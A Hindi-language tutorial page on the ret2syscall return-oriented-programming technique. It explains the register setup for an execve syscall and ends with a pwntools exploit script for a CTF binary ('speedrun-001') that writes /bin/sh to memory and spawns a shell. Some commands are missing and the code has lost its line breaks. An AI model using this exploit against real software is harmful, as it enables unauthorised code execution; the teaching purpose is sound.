Ret2syscall
Ret2syscall
मूल जानकारी
यह Ret2lib के समान है, हालांकि, इस मामले में हम किसी पुस्तकालय से फ़ंक्शन को कॉल नहीं करेंगे। इस मामले में, सब कुछ sys_execve
सिस्कॉल को कॉल करने के लिए तैयार किया जाएगा कुछ ताकतें /bin/sh
को चलाने के लिए। यह तकनीक आम तौर पर स्थिर रूप से कॉम्पाइल किए गए बाइनरी पर किया जाता है, इसलिए बहुत सारे गैजेट्स और सिस्कॉल निर्देश हो सकते हैं।
सिस्कॉल के लिए कॉल को तैयार करने के लिए निम्नलिखित कॉन्फ़िगरेशन की आवश्यकता है:
rax: 59 स्पष्ट करें sys_execve
rdi: "/bin/sh" के लिए प्ट्र स्थान निर्दिष्ट करें
rsi: 0 कोई तर्क नहीं पारित करें
rdx: 0 कोई पर्यावरण चर पारित करें
इसलिए, मूल रूप से /bin/sh
स्ट्रिंग को कहीं लिखने की आवश्यकता है और फिर syscall
को कार्यान्वित करने की आवश्यकता है (स्टैक को नियंत्रित करने के लिए आवश्यक पैडिंग के बारे में जागरूक रहना)। इसके लिए, हमें किसी जाने माने क्षेत्र में /bin/sh
लिखने के लिए एक गैजेट की आवश्यकता है।
कॉल करने के लिए एक और दिलचस्प सिस्कॉल है mprotect
जो एक हमलावता को मेमोरी में पृष्ठ की अनुमतियाँ संशोधित करने की अनुमति देगा। इसे ret2shellcode के साथ संयोजित किया जा सकता है।
रजिस्टर गैजेट्स
चलो यह जानने से शुरू करें कि वे रजिस्टर कैसे नियंत्रित किए जाएं:
इन पतों के साथ स्टैक में सामग्री लिखना और इसे रजिस्टर में लोड करना संभव है।
स्ट्रिंग लिखें
लिखने योग्य मेमोरी
सबसे पहले आपको मेमोरी में लिखने योग्य स्थान ढूंढना होगा।
स्ट्रिंग को मेमोरी में लिखें
फिर आपको इस पते में विचित्र सामग्री लिखने का एक तरीका ढूंढना होगा
आरओपी श्रृंखला को स्वचालित करें
निम्नलिखित कमांड एक स्थैतिक बाइनरी दिया गया है जब लिखें-क्या-कहाँ गैजेट्स और सिस्कॉल निर्देश होते हैं, तो पूरी sys_execve
आरओपी श्रृंखला बनाता है:
32 बिट
64 बिट
गैजेट की कमी
यदि आपके पास गैजेट की कमी है, उदाहरण के लिए /bin/sh
को मेमोरी में लिखने के लिए, तो आप SROP तकनीक का उपयोग कर सकते हैं ताकि स्टैक से सभी रजिस्टर मानों को नियंत्रित कर सकें (जिसमें RIP और पैराम्स रजिस्टर भी शामिल हैं):
```python from pwn import *
target = process('./speedrun-001') #gdb.attach(target, gdbscript = 'b *0x400bad')
Establish our ROP Gadgets
popRax = p64(0x415664) popRdi = p64(0x400686) popRsi = p64(0x4101f3) popRdx = p64(0x4498b5)
0x000000000048d251 : mov qword ptr [rax], rdx ; ret
writeGadget = p64(0x48d251)
Our syscall gadget
syscall = p64(0x40129c)
''' Here is the assembly equivalent for these blocks write "/bin/sh" to 0x6b6000
pop rdx, 0x2f62696e2f736800 pop rax, 0x6b6000 mov qword ptr [rax], rdx ''' rop = '' rop += popRdx rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end rop += popRax rop += p64(0x6b6000) rop += writeGadget
''' Prep the four registers with their arguments, and make the syscall
pop rax, 0x3b pop rdi, 0x6b6000 pop rsi, 0x0 pop rdx, 0x0
syscall '''
rop += popRax rop += p64(0x3b)
rop += popRdi rop += p64(0x6b6000)
rop += popRsi rop += p64(0) rop += popRdx rop += p64(0)
rop += syscall
Add the padding to the saved return address
payload = "0"*0x408 + rop
Send the payload, drop to an interactive shell to use our new shell
target.sendline(payload)
target.interactive()
Last updated